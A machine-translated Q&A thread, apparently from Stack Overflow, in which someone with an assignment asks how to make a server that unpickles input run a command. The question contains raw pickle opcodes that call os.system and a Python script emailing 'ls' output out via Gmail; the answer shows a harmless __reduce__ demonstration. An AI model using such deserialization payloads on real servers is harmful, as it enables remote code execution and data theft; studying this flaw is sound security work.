【问题标题】:Pickle Exploiting泡菜利用
【发布时间】:2017-12-07 22:55:35
【问题描述】:

我有一个任务是向服务器发送一个 pickle 文件,该服务器取消发送给它的任何内容。我的计划是让它通过电子邮件将打印出来的 ls 命令发回给我。我有这个文件:

import smtplib
import commands
status, output = commands.getstatusoutput("ls")
server = smtplib.SMTP_SSL('smtp.gmail.com')
server.login("...@gmail.com", "password")
server.sendmail("...@gmail.com", "...@gmail.com", output)
server.quit()

如何让服务器运行它?我正在尝试发送如下文件:

cos
system
(S''
tR.

与''中的python脚本。

我在想这样的事情:

cos
system
(S'python\n import smptlib\n ...'
tR.

但它不执行命令。我怎样才能让它执行python?

我在自己的电脑上试过了,python 可以正常发送邮件。

【问题讨论】:

  • 你说你的任务是将一个pickle文件发送到服务器。但是您的代码与制作泡菜文件无关。如果您想在电子邮件中发送泡菜文件(二进制数据),它将是一个附件。我也没有看到任何相关内容。你能澄清一下吗? “ls”命令和它有什么关系?
  • 是的,所以我需要发送一个运行命令的泡菜文件。 cos system (S'python\n import smptlib\n ...' tR。这是运行系统命令的pickle语法
  • 比如cos系统(S'sleep 100' tR.会休眠100秒

标签: python pickle exploit


【解决方案1】:

__reduce__ 方法中做任何你想做的友好。请不要作恶。

import pickle

class Friendly:
    def __reduce__(self):
        return (self.friendly, ('executing friendly code',))

    @staticmethod
    def friendly(x):
        print(x)

pickle.dump(Friendly(), open('pickled', 'wb'))
print('loading ...')
pickle.load(open('pickled', 'rb'))

->

$ pythonfriendly.py
正在加载...
执行友好代码

【讨论】:

  • 当您声称它是友好的时,它似乎更加恶意(:
  • @HFBrowning 已修复
  • 哈哈!这不是批评
  • 我不明白这将如何工作。这不会尝试在服务器上寻找friendly 函数,并且很可能找不到之后,提高AttributeError 吗?即使在服务器的 unpickling 程序中定义了 friendly 函数,Friendly 对象也会调用该函数而不是漏洞利用程序。
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2012-09-09
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2018-07-29
  • 2018-09-09
相关资源
最近更新 更多